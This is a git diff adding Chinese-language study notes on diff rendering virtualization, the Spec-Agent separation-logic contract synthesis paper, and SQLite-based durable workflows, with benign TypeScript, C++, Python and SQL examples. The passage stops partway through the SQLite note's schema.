**`CodeView`** 这一「以虚拟化为第一原则」的组件的演进——目标是一句听起来不可能的话: + +> **You should be able to just render any diff.**(你应该能「直接渲染任意 diff」。) + +不是物理上无限大,而是:Bun 的 Zig→Rust 重写、Node.js 的 V8 大更新、甚至 Linux v6→v7 这种 **700MB+ patch** 都不该让 review 界面垮掉。 + +--- + +## 是什么 + +**On Rendering Diffs** 不是学术论文,而是一篇**工程实践长文**,作者 Amadeus Pierre 来自 Pierre Computer Company。他们开源/商业化的 **`@pierre/diffs`** 包提供可嵌入产品的 diff 渲染;**`CodeView`** 则是管理「整次 review 表面」(多文件、大 diff)的虚拟化优先组件。 + +文章把「在浏览器里画 diff」拆成三类成本,并逐层给出解法: + +| 类别 | 典型症状 | 文章中的对策 | +|------|----------|--------------| +| **Rendering(渲染)** | DOM 节点爆炸、滚动卡顿、快速拖动滚动条出现**空白(blanking)** | 虚拟化 / windowing;**Inverse Sticky Technique** | +| **Processing(处理)** | 语法高亮、diff 解析在 main thread 上 × 文件数 | Worker 线程 + **延迟高亮**;checkpoint + 二分查找行范围 | +| **Memory(内存)** | 解析大 patch 后 JS 引擎仍持有巨型母串;GC 停顿 | **Detach 子串**;DOM 池化;**共享 options** 而非每文件一份配置 | + +文中还提到 GitHub、GitLab Rapid Diffs 等工业界同类方向——diff 渲染往往不是产品本身,而是 review 工作流、Agent 输出、CI 周围的**基础设施**。 + +--- + +## 为什么 diff「看起来简单」却极难 + +表面上是「文本 + 红绿行」,但**合格的 review UI** 还要: + +- 语法高亮(Shiki 等)→ 处理时间与 DOM 膨胀 +- 行号、统一/分栏布局、换行模式、主题 +- 评论、annotation → 布局与虚拟化 scroll anchoring 冲突 +- **规模放大**:单文件便宜的操作,× 几千文件就变成 O(n×m) + +他们第一版简单 virtualizer「只渲染视口附近」有效,但仍有: + +- 高内存 +- 快速滚动时的 **virtualization blanking** +- 大 hunk(数十万行)从 0 开始线性扫描找可见行范围 → **路径级慢** + +`CodeView` 的设计哲学是:**渲染、内存、处理是同一问题的三个面**,不能各打各的补丁。 + +--- + +## 核心概念 + +### 1. Virtualization / Windowing(虚拟化 / 窗口化) + +只把**视口附近**的内容放进 DOM;滚出屏幕的节点移除或回收。收益:更少 layout/paint、更低 heap。代价:要**估计或测量**每项高度,并与滚动位置同步。 + +常见三种路线(文章对比): + +1. **真实 scroll 容器 + 绝对定位可见项** — 滚动原生、无障碍好,但 JS 可能跟不上 → blanking +2. **`position: sticky/fixed` + rAF 更新内容** — 不会 blank,但滚动可能 hitch;Safari 上 rAF 仍 cap 60Hz +3. **完全模拟滚动** — 避开浏览器 scroll 高度限制,但要自己重做滚动手感与 a11y + +### 2. Inverse Sticky Technique(反向 sticky) + +Pierre 的折中:**保留原生滚动**,又尽量**不出现空白**。 + +普通 sticky:节标题滚到顶时「粘」在视口顶部。 +**Inverse sticky**:虚拟化内容块的**底边**在向下滚过视口时粘住底边;向上滚时**顶边**粘住顶边。JS 若落后,用户看到的是「内容块贴边停住」,而不是滚进空白区域。 + +关键 CSS 思路(`top` 与 `bottom` 使用同一公式): + +```css +/* contentHeight = 虚拟内容总高度,viewportHeight = 可视区域高度 */ +.sticky-viewport-chunk { + position: sticky; + top: calc((var(--content-height) - var(--viewport-height)) * -1); + bottom: calc((var(--content-height) - var(--viewport-height)) * -1); +} +``` + +外层仍是**全高 scroll 区域**(浏览器原生滚动条),内层只挂载一块「当前窗口」的 DOM。 + +### 3. 布局估算与行范围渲染 + +第一遍布局可以很便宜: + +```text +文件高度 ≈ lineHeight × totalLines +diff 高度 ≈ lineHeight × splitLineCount + hunks.length × hunkSeparatorHeight +``` + +`CodeView` 先算「哪些文件该进 DOM」,再在文件内部算「哪些**行**该渲染」。旧实现从第 0 行扫到大 hunk 末尾——大 diff 上灾难性。改进:**position→line checkpoint 缓存 + 二分**,先跳到接近的起点再细搜。 + +渲染后对比 DOM **实测高度**与估算,存 delta,供 scroll anchoring 修正。 + +### 4. Scroll Anchoring(滚动锚定) + +浏览器内置 `overflow-anchor` 在虚拟列表里常失效(挂载 DOM 总在变)。`CodeView` 显式 `overflow-anchor: none`,自己锚定: + +1. 找当前**第一条完全可见**的行/文件 +2. 记录其 **viewport offset** 为 anchor +3. 提交新 DOM 范围 +4. 若 anchor 偏移变了 → **调整 scrollTop** 补回 + +这样展开 hunk、换行、改主题时,眼睛看到的代码不会「跳飞」。 + +### 5. 内存:Detach、池化、共享配置 + +- **Detach parsed strings**:V8 等引擎里,`substring` 可能仍引用巨型母串。解析 700MB patch 后只留行内容,若不 **copy/detach**,heap 仍占满原串。Linux v6→v7 案例:内存 **2.4GB → 1.15GB**,解析时间降约 **80%**。 +- **DOM pooling**:虚拟化频繁 mount/unmount → GC 压力。复用带 Shadow DOM、样式表、SVG atlas 的**外壳**,只清空内部行 DOM。 +- **Shared options**:原先每个 `File`/`FileDiff` 各持一份 `options`;上万实例时改主题要 spread 全体对象。改为 `CodeView` 持有一份 truth,子项通过 **getter 读共享状态**。 + +### 6. Deferred Syntax Highlighting(延迟语法高亮) + +Shiki 在 worker 池跑;**先 plain text 立即可读**,再高亮回填。LRU 缓存 + `prime` API 预温。目标:高亮**增强**体验,不**阻塞**首屏。 + +--- + +## 代码示例 1:最小窗口虚拟化(理解 blanking 从哪来) + +下面 TypeScript 片段演示「估算总高 + 只渲染 `[start, end)` 行」——与 Pierre 第一版 simple virtualizer 同类思路;**没有** inverse sticky,快速 scroll 仍可能 blank: + +```typescript +type Line = { text: string; kind: "context" | "add" | "del" }; + +function renderDiffWindow( + lines: Line[], + scrollTop: number, + viewportHeight: number, + lineHeight: number, + overscan = 8, +) { + const totalHeight = lines.length * lineHeight; + const firstVisible = Math.floor(scrollTop / lineHeight); + const visibleCount = Math.ceil(viewportHeight / lineHeight); + const start = Math.max(0, firstVisible - overscan); + const end = Math.min(lines.length, firstVisible + visibleCount + overscan); + + return { + totalHeight, + offsetY: start * lineHeight, + slice: lines.slice(start, end).map((line, i) => ({ + index: start + i, + ...line, + })), + }; +} + +// 用法:scroll 事件里更新 slice,把 slice 映射成 DOM; +// 容器 style.height = `${totalHeight}px`,内容块 translateY(offsetY) +``` + +**要点**:`overscan` 越大 blank 越少,但 DOM 越多——性能 trade-off。Inverse sticky 解决的是「JS 一时跟不上时用户仍看到旧内容贴边」,而不是无限增大 overscan。 + +--- + +## 代码示例 2:Scroll anchoring 伪代码 + +虚拟列表在替换 DOM 前后保持「用户正在看的那一行」不动: + +```typescript +interface Anchor { + lineIndex: number; + offsetInViewport: number; // 该行顶相对视口顶的 px +} + +function captureAnchor( + scrollTop: number, + lineHeight: number, + viewportHeight: number, +): Anchor { + const lineIndex = Math.floor(scrollTop / lineHeight); + const lineTop = lineIndex * lineHeight; + return { + lineIndex, + offsetInViewport: lineTop - scrollTop, + }; +} + +function restoreScroll( + anchor: Anchor, + lineHeight: number, + measuredLineTop: number, // 布局变化后该行新的文档坐标 +): number { + // 新的 scrollTop 应使 anchor 行回到相同 viewport 偏移 + return measuredLineTop - anchor.offsetInViewport; +} + +// 更新流程: +// const anchor = captureAnchor(el.scrollTop, LH, el.clientHeight); +// patchDom(newRange); +// const newTop = measureLineTop(anchor.lineIndex); +// el.scrollTop = restoreScroll(anchor, LH, newTop); +``` + +这与 Pierre 描述的「找 first fully visible line → commit DOM → reconcile height → 修正 scrollTop」一致;也是 GitHub diff 优化、TanStack Virtual 等场景里的常见模式。 + +--- + +## 代码示例 3:Checkpoint + 二分找行范围(大 hunk) + +当单个 hunk 有 **30 万行** 时,从 0 扫描找 `scrollTop` 对应行是 O(n)。checkpoint 把「文档位置 → 行号」稀疏采样,二分缩小起点: + +```typescript +type Checkpoint = { docOffset: number; lineIndex: number }; + +function findLineAtOffset( + checkpoints: Checkpoint[], + targetOffset: number, + lineHeight: number, + totalLines: number, +): number { + // 1. 在 checkpoints 上二分,找到 <= targetOffset 的最大 checkpoint + let lo = 0; + let hi = checkpoints.length - 1; + while (lo < hi) { + const mid = (lo + hi + 1) >> 1; + if (checkpoints[mid].docOffset <= targetOffset) lo = mid; + else hi = mid - 1; + } + const startLine = checkpoints[lo].lineIndex; + const startOffset = checkpoints[lo].docOffset; + // 2. 从 startLine 线性微调(区间已很小) + const remaining = targetOffset - startOffset; + return Math.min(totalLines - 1, startLine + Math.floor(remaining / lineHeight)); +} +``` + +`CodeView` 在 file/diff 级别做类似事,避免「大 review = 大 PR × 大文件 × 大 hunk」时的路径级卡顿。 + +--- + +## 与业界其他路线的对照 + +| 方案 | 思路 | 与 Pierre 文的呼应 | +|------|------|-------------------| +| **GitHub diff v2** | 每行组件从 8–13 个减到 2;TanStack Virtual;Map O(1) 查 comment | 同样:**少 DOM、只渲染可见、状态别绑在每行上** | +| **GitLab Rapid Diffs** | 服务端 ViewComponent 渲染 HTML,客户端只挂载 + 流式加载 | 把「首屏可见 diff」从 JS 构建 DOM 的最短路径挪到 SSR/stream | +| **octorus 等 TUI** | 可见区 slice + string interning (Rodeo) + 先 plain 后高亮 | 与 deferred highlighting、内存 detach 同构 | + +Pierre 选择**浏览器内**做重活(Shadow DOM、Shiki worker),并承认仍有短板:CSS layout/paint 在激进滚动时占主导;超大行(minified JS)未做水平虚拟化;worker 与 main thread 间序列化大文件高亮结果仍贵——未来可能更多 **server-side streaming**。 + +--- + +## 产品启示(零基础也能带走的结论) + +1. **Diff 不是「textarea + 颜色」** — 规模、交互、评论、主题一叠加就是系统问题。 +2. **虚拟化要选「滚动语义」** — native scroll、a11y、WebKit/Tauri 目标都会影响架构;Inverse sticky 是「防 blank」的 CSS 层技巧,不是银弹(Safari 极端滚动仍可能 compositing 掉队)。 +3. **先可读,再漂亮** — deferred highlighting 是 perceived performance 的经典手法。 +4. **JS 字符串与 DOM 都有隐藏成本** — detach、pool、共享 config 往往比「再写一个 virtualizer」更能救大 diff。 +5. **若你在做 Agent / 大 PR review** — diff 渲染应像 Pierre 说的:**产品围绕 review 建,而不是每个团队从零造轮子**。 + +--- + +## 延伸阅读 + +- 原文:[On Rendering Diffs](https://pierre.computer/writing/on-rendering-diffs) +- 包与文档:npm `@pierre/diffs`, playground [DiffsHub](https://diffshub.com)(GitHub URL 中 `github` 换 `diffshub` 可试大 PR) +- GitHub Engineering:[The uphill climb of making diff lines performant](https://github.blog/engineering/architecture-optimization/the-uphill-climb-of-making-diff-lines-performant/) +- GitLab:[Rapid Diffs](https://docs.gitlab.com/development/fe_guide/rapid_diffs/) + +--- + +## 自测清单 + +- [ ] 能用自己的话解释:为什么「只渲染视口」仍可能出现 blanking? +- [ ] Inverse sticky 和普通 sticky 在「粘哪条边」上有什么不同? +- [ ] 大 patch 解析后为什么要 detach 子串? +- [ ] 虚拟列表为什么要自己做 scroll anchoring? +- [ ] 延迟语法高亮改善的是「真实耗时」还是「感知耗时」? diff --git a/src/content/docs/papers/spec-agent-separation-logic.md b/src/content/docs/papers/spec-agent-separation-logic.md new file mode 100644 index 000000000..9d28e3b5d --- /dev/null +++ b/src/content/docs/papers/spec-agent-separation-logic.md @@ -0,0 +1,195 @@ +--- +title: Spec-Agent — 用 Agent + 分离逻辑 + Fuzz 自动写 C++ 合约 +来源: 'Tarun Suresh, David Korczynski, Julien Vanegue, "Agentic Separation Logic Specification Synthesis", arXiv:2605.27531, Bloomberg, 2026' +日期: 2026-06-13 +子分类: 形式化验证 +分类: 形式化方法 +provenance: pipeline-v3 +--- + +## 是什么 + +**Spec-Agent** 是一套面向大规模 C++ 代码库的 **agentic 规格合成系统**:给定函数实现、注释和现有单元测试,自动推断 `{pre} f {post}` 形式的 **代码合约(code contract)**,并用 fuzz 反复打脸、修正 LLM 猜错的候选。 + +日常类比:你雇了一个**会写说明书的外包**,但他第一次写的东西经常漏条件。于是你: + +1. 先看他改的是**纯逻辑**、**带循环的集合性质**,还是**动堆内存**——决定说明书该用哪种「方言」写; +2. 把项目里已有的单元测试**改造成压力测试**,用海量随机输入去挑刺; +3. 一旦发现「某输入下说明书说错了」,把反例喂回去让他改,直到 fuzz 再也找不到漏洞,或达到重试上限。 + +论文把这套流程叫做 **Agentic Separation Logic Specification Synthesis**。关键创新不是「再用 LLM 写注释」,而是把 **分离逻辑(Separation Logic)** 当作合约语言,并把 **libFuzzer 模糊测试** repurposed 成 **规格验证的伪 oracle**——在 C++ 缺乏成熟全程序验证器的现实下,用运行时断言 + 覆盖率驱动 fuzz 筛掉错误合约。 + +## 为什么重要 + +LLM 写代码很快,但** correctness 没有保证**。代码合约(前置/后置条件)是连接「实现」与「验证、迁移、安全分析」的桥梁。不理解 Spec-Agent,下面几件事很难讲清楚: + +- 为什么「让 Claude 读函数写 contract」在百万行 BDE / BlazingMQ 上**又贵又偏简单逻辑**——baseline 大量停在命题逻辑,分离逻辑与一阶量词很少; +- 为什么 **分离逻辑** 对系统软件不是锦上添花——`swap(int *x, int *y)` 必须写出 `x` 与 `y` **指向不同单元**,否则自交换语义未定义; +- 为什么 fuzz traditionally 找 bug,这里却能 **证伪错误规格**——违反合约的输入 = 反例,进入 CEGIS 式 refinement loop; +- 为什么论文在 BDE 上达到 **~86% 函数合成有效合约**、BMQ ~78%,且 Spec-Agent + 开源模型在 token 成本上约为 Claude Code Opus 4.6 的 **1/10**,同时 FOL / Prop SL / FOSL 合约数量明显多于 baseline。 + +## 核心概念 + +### 1. 规格合成(Specification Synthesis) + +与 **程序验证** 对偶:验证给定 `{P} c {Q}` 是否成立;合成则是给定 `c`,求合适的 `P`、`Q`。目标是 **最弱前置条件**(调用者最少要满足什么)和 **最强后置条件**(执行后能断言什么)。Spec-Agent 用 LLM 生成候选,用 fuzz 过滤,用 counterexample 引导下一轮。 + +### 2. 四层规格语言「梯子」 + +Spec-Agent 不是一上来就写最复杂的逻辑,而是按函数特征选 **目标语言 L**: + +| 层级 | 名称 | 能表达什么 | 典型触发条件 | +|------|------|------------|--------------| +| Prop | 命题逻辑 | `∧ ∨ ¬ ⇒`、分支用析取蕴含编码 | 无循环、无堆 | +| FOL | 一阶逻辑 | `∀ ∃` over 容器元素 | 有循环 / 归纳变量 | +| Prop SL | 命题分离逻辑 | `x ↦ v`、分离合取 `*` | 动态内存 / 堆访问(heap tracing) | +| FOSL | 一阶分离逻辑 | 量词 + 堆形状 | 既遍历容器又动堆 | + +四层形成 **偏序格**:Prop ⊑ FOL,Prop ⊑ Prop SL,二者都 ⊑ FOSL。接受候选时要求:fuzz 通过 **且** 候选表达力 `ℓ(cand)` 至少达到目标 L(不能太「贫」——例如堆函数却缺 `↦`)。 + +### 3. 分离逻辑回顾(与 [[reynolds-separation-logic]] 衔接) + +- **`x ↦ n`**:地址 `x` 处存值 `n`,且该原子描述其堆 footprint; +- **`p * q`**:`p` 与 `q` 占用的堆区域 **不相交**; +- 经典例子:`swap` 的前置 `x ↦ v₁ * y ↦ v₂`,后置 `x ↦ v₂ * y ↦ v₁`——隐含 `x ≠ y` 的分离性。 + +Infer 等工具用 separation logic 做 **组合式** 堆推理;Spec-Agent 则反向:**从代码合成** 这类断言,而不是从断言证代码。 + +### 4. Spec-Agent 流水线(六步) + +```text +Code Mining → Fuzz Harness Gen → Language Selection + → LLM Spec Generation → Fuzz Testing → Refinement (loop) +``` + +- **Code Mining**:Tree-sitter 抽静态特征(循环、分支);跑现有单测 + **heap tracing** 判断是否触堆; +- **Fuzz Harness**:把单测里硬编码输入 **提升** 为 libFuzzer 可控参数,保留 fixture/setup; +- **Generation**:prompt 含语法、该层逻辑的手写范例(最多 10 个),**不用**单测内容(避免泄漏测试 oracle); +- **Fuzz Testing**:把候选合约 **编译成 C++ 运行时断言**,在 fuzz 下检查;分离算子在 **观测到的堆状态** 上解释; +- **Refinement**:反例 + 结构诊断(表达力不足)反馈给 LLM,直到接受或预算耗尽。 + +### 5. Fuzz 作为伪 Oracle 的边界 + +能 **拒绝** 错误规格(有 counterexample),不能 **证明** 规格完全正确(那需要 Frama-C 级证明器,C++ 全程序验证仍极贵)。专家人工抽检 + fuzz 零 false positive(论文声称在评测设置下)是实用折中。 + +## 实践案例 + +### 案例 1:指针交换 — Prop SL 合约 + +论文 Figure 2 左侧经典例子。C++ 实现: + +```cpp +void swap(int *x, int *y) { + int z = *x; + *x = *y; + *y = z; +} +``` + +Spec-Agent 在检测到堆读写后,目标语言为 **Prop SL**,期望合成类似: + +```text +pre: x ↦ v₁ * y ↦ v₂ +post: x ↦ v₂ * y ↦ v₁ +``` + +读法:调用前两块 **分离** 的内存分别持有 `v₁`、`v₂`;返回后值互换。若缺少 `*`(写成普通合取),就无法排除 `x == y` 的未定义行为——这就是为什么要上 separation logic,而不是纯命题逻辑写 `*x == v1`。 + +运行时验证思路(概念性,非论文原码):在 harness 入口记录 `*x`、`*y` 与地址集合;每次 fuzz 输入执行 `swap` 后检查后置;若存在输入使后置失败,该输入成为 **refinement 反例**。 + +### 案例 2:容器查找 — FOL 合约 + +带循环的 `lookup`(Figure 2 右侧风格): + +```cpp +bool lookup(std::list& lst, auto P) { + for (auto it = lst.begin(); it != lst.end(); ++it) { + if (P(*it)) return true; + } + return false; +} +``` + +无特殊前置时 `pre` 可为 `true`。后置在 **FOL** 层常合成: + +```text +post: (∀x ∈ lst. ¬P(x) ⇒ ret = false) + ∨ (∃x ∈ lst. P(x) ⇒ ret = true) +``` + +含义:返回 `false` 当且仅当所有元素都不满足 `P`;返回 `true` 当存在满足者。量词在 Spec-Agent 里 **有界编译** 为对 `[0, lst.size())` 或 iterator 区间的循环检查——边界表达式由 LLM 从参数/容器接口生成,再被 fuzz Stress。 + +若函数 **既** 遍历容器 **又** `new`/`delete`,目标语言升为 **FOSL**,后置可能同时含量词与 `↦` / `*` 堆断言。 + +### 案例 3:CEGIS 式 refinement 伪代码 + +下面用 Python 风格伪代码概括论文核心循环(帮助理解 agentic 部分,非官方实现): + +```python +def spec_agent_synthesize(func, tests, max_retries=20): + features = code_mining(func, tests) # static + heap trace + L = select_language(features) # Prop | FOL | PropSL | FOSL + harness = generalize_tests_to_fuzzer(func, tests) + + feedback = None + for attempt in range(max_retries): + cand = llm_generate_contract(func, language=L, feedback=feedback) + if not parses(cand, grammar=L): + feedback = "syntax error" + continue + if expressivity(cand) < L: + feedback = f"need operators of {L}, got {expressivity(cand)}" + continue + assertion = compile_to_runtime_assert(cand) + counterexample = libfuzzer_find_violation(func, harness, assertion) + if counterexample is None: + return cand # fuzz-valid at target expressivity + feedback = f"violated post on input {counterexample}" + return best_effort(cand) +``` + +与「Claude Code 子 agent 自由探索」相比,Spec-Agent 强调 **确定性流水线**:每轮一次 LLM 调用 + 一次 fuzz,上下文不膨胀,因此在固定算力下 **有效 refinement 次数更多**。 + +## 实验结果(论文摘要) + +- **代码库**:Bloomberg 开源依赖 **BDE**(651 个目标函数)与 **BlazingMQ**(508 个);合计 **400 万+ LOC** C++; +- **最佳配置**(如 Qwen3-Coder-Next):BDE **85.87%** Test Valid,BMQ **77.73%**;Claude Opus 4.6 约 81% / 67%; +- **表达力**:Spec-Agent 在 FOL、Prop SL、FOSL 上合成的 **有效合约数** 显著高于 Claude Code(Table 2);平均逻辑原子数更高(~3–4 vs ~2.3); +- **FOSL 天花板**:最复杂函数上「最强合约」比例仍偏低——论文认为可能需要新算法; +- **成本**:同等验证设置下 token 约为 Claude Code 的 **1/10**。 + +## 与相关工作的关系 + +| 方向 | 代表 | 与 Spec-Agent 的差异 | +|------|------|----------------------| +| 分离逻辑验证 | Infer、VST | 从代码 **推断** 摘要 vs 从规格 **证明** 代码 | +| 分离逻辑合成 | SuSLik、SSL | 从 `{P} {Q}` **生成程序**;Spec-Agent 反方向 **生成 P,Q** | +| LLM 合约合成 | 先前 LLM contract 工作 | 少见 separation logic + 百万 LOC + 系统化 fuzz 验证 | +| Lemma 合成 | symbolic-heap entailment | 证明辅助;Spec-Agent 面向仓库级函数合约 | + +## 局限与批判性阅读 + +1. **Soundness**:fuzz 通过 ≠ 数学证明;未覆盖路径上的合约仍可能错; +2. **Trivial 合约**:部分有效合约退化为 `true`(论文报告 BDE ~6%、BMQ ~17% 量级,视模型而定); +3. **编译失败率**:断言注入 + 复杂量词/堆编码导致 **Compile Error** 仍占 13–30%; +4. **语言选择启发式**:有 loop 不一定需要 quantifier,无 loop 有时仍需要—— lattice 约束部分缓解但不完美; +5. **C++ 特化**:运行时堆观测、容器边界约定绑在 C++ 语义上,迁移到其他语言需重做 backend。 + +## 自测题 + +1. Spec-Agent 四档逻辑如何选择?若函数只有 `if-else` 无堆无循环,目标层是哪一档? +2. 为什么 `swap` 的合约必须用 `*` 而不是 `∧`? +3. fuzz 在 pipeline 里能证明什么、不能证明什么? +4. 「Test Invalid = 0%」对 Spec-Agent 某些配置意味着什么?与 expert review 如何互补? +5. 若 LLM 生成的前置过强(拒绝合法输入),fuzz 能发现吗?为什么? + +## 延伸阅读 + +- [[reynolds-separation-logic]] — `↦` 与 `*` 的语义基础 +- [[infer-biabduction]] — 工业级从代码 **反推** 分离逻辑摘要(与合成合约互补) +- arXiv:2605.27531 — 原文附录含更多合约样例与 case study +- libFuzzer / LLVM — harness 与 coverage-guided fuzz 实现背景 + +## 一句话总结 + +**Spec-Agent = 按函数特征选分离逻辑/一阶逻辑的「合约方言」+ LLM 起草 + libFuzzer 当伪法官 + 反例驱动改稿**;它把 formal methods 里最难手工写的 heap/loop 合约,在百万行 C++ 上推到可规模化的工程中间态——不是终局证明,却是 LLM 时代系统软件 **可验证文档** 的一条可行路径。 diff --git a/src/content/docs/papers/sqlite-durable-workflows.md b/src/content/docs/papers/sqlite-durable-workflows.md new file mode 100644 index 000000000..c5df1d5b2 --- /dev/null +++ b/src/content/docs/papers/sqlite-durable-workflows.md @@ -0,0 +1,445 @@ +--- +title: SQLite is All You Need for Durable Workflows — 用单文件数据库做持久化工作流 +来源: 'Obelisk Blog, "SQLite is All You Need for Durable Workflows", https://obeli.sk/blog/sqlite-is-all-you-need-for-durable-workflows/, 2026-05-29(延伸 DBOS「Postgres is all you need for durable execution」论点)' +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:快递单 + 可替换的快递员 + +想象你在经营一个**多步骤代办业务**:帮客户订机票、填表、发邮件、最后归档。每一步都可能失败——网站超时、表单填错、邮件服务器宕机。 + +传统做法像雇一个**专职调度中心**(Temporal、Cadence、Restate 这类 orchestrator):单独租办公室、配专线电话、养一支调度员团队,专门记录「客户 A 做到第几步了」。可靠,但**基础设施本身就很重**。 + +DBOS 在 2026 年提出另一条路:**Postgres is all you need**——如果你已经信任数据库的事务与持久化,就不必再叠一层专用编排集群;工作流状态直接写进 Postgres,计算节点可以是廉价的、可随时销毁的。 + +Obelisk 的博客文章把这条思路**再推进一步**: + +> 对很大一类持久化系统来说,**SQLite 就够了**。 + +类比升级成:**快递单(workflow state)必须留在档案柜里,但送快递的人(compute)可以随时换人**。 + +- 档案柜 = 本地 SQLite 文件,ACID 写入,进程挂了文件还在。 +- 快递员 = Worker 容器 / 微 VM,挂了换一台,从档案柜读出进度继续干。 +- 档案柜每晚复印一份到云存储 = **Litestream** 异步备份到 S3。 +- 每个 AI Agent 单独一个小档案柜 = **故障隔离**,A 搞砸了不影响 B。 + +核心洞察:**需要持久的是工作流状态,不是编排基础设施本身**。计算可以便宜、可丢弃;状态必须事务性、可回放、可检查。 + +--- + +## 是什么 + +**Durable workflow(持久化工作流)** 指:长生命周期、多步骤、可能跨进程/跨机器的任务编排;某一步失败后能从**已保存的状态**恢复,而不是从头重来。 + +典型能力包括: + +| 能力 | 含义 | +|------|------| +| Execution log | 记录每一步输入/输出/时间戳 | +| Replay | 从日志重建工作流,用于恢复或调试 | +| Activity retry | 单步失败自动重试,不污染已完成步骤 | +| Checkpoint | 在昂贵步骤之间保存进度 | + +文章主张:对 **AI Agent、实验性流水线、单租户 burst 任务**,用 **SQLite + Litestream + 廉价 Worker** 就能构成足够 durable 的系统,**不必**第一天就上 Postgres 集群或 Temporal。 + +Obelisk 是实践这一思路的开源工作流引擎(SQLite 默认,Postgres 可选)。Cloudflare Workflows V2 也在生产环境用 SQLite 存储 per-instance 状态,并发实例从约 4,500 扩到 50,000——说明「SQLite 不 scale」需要分场景讨论。 + +--- + +## 为什么重要 + +### 1. 降低「 durable execution 必须很重」的默认假设 + +很多人听到 durable workflow 就想到: + +- 独立的 history service +- Cassandra / 专用事件存储 +- 常驻 orchestrator 集群 + 复杂运维 + +文章指出:对 **day one** 的系统,这往往是**过度设计**。工作流真正要持久的是**状态机 + 执行日志**,不是一整套分布式中间件。 + +### 2. 与 AI Agent 工作负载天然契合 + +Agent 任务常见特征: + +- **突发(bursty)**:跑几分钟就停,不是 7×24 常驻。 +- **实验性强**:频繁改 prompt、改工具链,需要可复制的状态快照做 post-mortem。 +- **单租户隔离**:每个 agent run 一份独立状态,比多租户共享 Postgres 更简单。 + +「一 Agent 一 SQLite 文件 + S3 备份」比「共享大库 + 复杂租户隔离」更贴合这类负载。 + +### 3. 可检查性(inspectability)是隐藏优势 + +SQLite 状态是一个**普通文件**: + +- 用 `sqlite3 workflow.db` 直接查表 +- 复制到笔记本离线分析 Agent「到底做了什么」 +- 配合 Litestream 从 S3 拉历史版本做审计 + +专用 orchestrator 的 internal state 往往要专用 UI 或 API 才能看;文件级状态对调试更友好。 + +### 4. 成本与运维面 + +| 方案 | 典型额外成本 | +|------|----------------| +| Temporal 自托管 | 多组件集群、持久化存储、版本升级 | +| 托管 Postgres | 实例费、连接池、备份策略 | +| SQLite + Litestream | 几乎零:Worker 磁盘 + 廉价 S3 | + +对初创团队和研究型 Agent 系统,**先把状态 durable 起来**,比**先把基础设施 enterprise 化**更合理。 + +--- + +## 核心概念 + +### 1. Durable execution vs durable infrastructure + +**Durable execution(持久化执行)**:任务中断后,已完成的步骤不丢,可从 checkpoint 继续。 + +**Durable infrastructure(持久化基础设施)**:数据库集群、消息队列、专用编排层本身高可用。 + +文章强调:前者是**业务需求**,后者只是**实现手段之一**。SQLite 文件在单节点上已经是 durable 的(配合 WAL + `synchronous=FULL`);你缺的是**跨节点 HA** 时才需要 Postgres。 + +### 2. 工作流状态 = 执行日志(event log) + +Obelisk 模型里,workflow progress 活在 **execution log** 里: + +```text +workflow_id | step | status | input_json | output_json | created_at +------------|------|----------|------------|-------------|------------ +wf-001 | 1 | completed| {...} | {...} | ... +wf-001 | 2 | failed | {...} | NULL | ... +wf-001 | 2 | completed| {...} | {...} | ... ← retry +``` + +恢复时:**replay** 已提交步骤,从第一个未完成或失败步骤继续。这与 Temporal 的 event history 思想同源,只是存储从专用服务换成了 **本地 SQL 表**。 + +### 3. SQLite 为何适合当「档案柜」 + +| 特性 | 对工作流的意义 | +|------|----------------| +| **ACID 事务** | 一步完成 = 日志行要么全写入要么全不写入,不会半条状态 | +| **嵌入式** | 无网络 hop、无独立 DB 进程、无额外 control plane | +| **单文件** | 备份 = `cp`,迁移 = 上传文件,调试 = 打开客户端 | +| **WAL 模式** | 读状态(调度器)与追加日志(Worker)可并发,少锁竞争 | + +推荐生产向配置(社区共识): + +```sql +PRAGMA journal_mode = WAL; +PRAGMA synchronous = FULL; -- 每事务 fsync,断电不丢已 commit 步骤 +``` + +`FULL` 比 `NORMAL` 慢,但对 workflow checkpoint 来说,**丢一步的代价通常远大于多一次 fsync**。 + +### 4. Litestream:把本地文件变成可移植资产 + +Litestream 是 SQLite 的**异步连续备份**工具:监听 WAL,把变更页流式复制到 S3 / GCS / 兼容对象存储。 + +``` +Worker 进程 Litestream sidecar S3 + │ │ │ + ├── 写 workflow.db ──────────►│── 复制 WAL 页 ──────►│ workflow.db.lz4 + │ (本地热数据) │ (异步) │ (冷备份 / 审计) +``` + +**重要 caveat(文章明确写出)**:复制是**异步**的。若本地磁盘在最新 WAL 页复制前彻底消失,恢复可能**少最后几条写入**。这对实验 Agent、staging 通常可接受;对**计费、合规强一致**场景则不够,应上 Postgres 或同步复制。 + +需显式定义 **RPO(可接受丢多少数据)** 和 **RTO(多久恢复)**: + +- SQLite + Litestream async:RPO > 0(秒级到分钟级),RTO = 拉快照 + 启动 Worker +- Postgres HA:RPO ≈ 0,RTO 取决于 failover 机制 + +### 5. 「一 Worker 一库」回避多写者问题 + +SQLite 的已知限制:**同一时刻 essentially 一个写者**。分布式系统里这是硬伤;但 Agent 场景常常是 **每个 run 独立进程、独立 DB 文件**——没有跨 Worker 争写同一文件,限制自然消失。 + +``` + ┌─ agent-run-1.db ─► Litestream ─► s3://runs/1/ +VM / Container 1 ───┤ + └─ worker 只写自己的库 + + ┌─ agent-run-2.db ─► Litestream ─► s3://runs/2/ +VM / Container 2 ───┤ + └─ 故障只影响 run 2 +``` + +Cloudflare Workflows V2 的 per-instance SQLite 是同一模式在超大规模下的验证。 + +### 6. 何时该用 Postgres 而不是 SQLite + +文章**不**声称 SQLite 万能。Obelisk 保留 Postgres 路径,适用于: + +| 需求 | 为何 SQLite 不够 | +|------|------------------| +| 多 Worker **并发写同一工作流状态** | 文件锁成为瓶颈 | +| 跨 AZ **高可用**、自动 failover | 单文件 + 异步备份 ≠ HA | +| **同步复制** durability 模型 | Litestream 是 async | +| 超大共享状态、复杂跨 workflow 查询 | 网络 DB + 连接池更合适 | + +原则:**状态需求到了再升级**,不要「以防万一」第一天就 Postgres。 + +--- + +## 代码示例 1:最小持久化工作流日志(Python + sqlite3) + +下面是一个**零基础可读**的最小实现:用两张表模拟 workflow + step log,展示 checkpoint 与 retry。 + +```python +import json +import sqlite3 +import uuid +from contextlib import contextmanager +from datetime import datetime, timezone + +DB_PATH = "workflow.db" + +SCHEMA = """ +PRAGMA journal_mode = WAL; +PRAGMA synchronous = FULL; + +CREATE TABLE IF NOT EXISTS workflows ( + id TEXT PRIMARY KEY, + name TEXT NOT 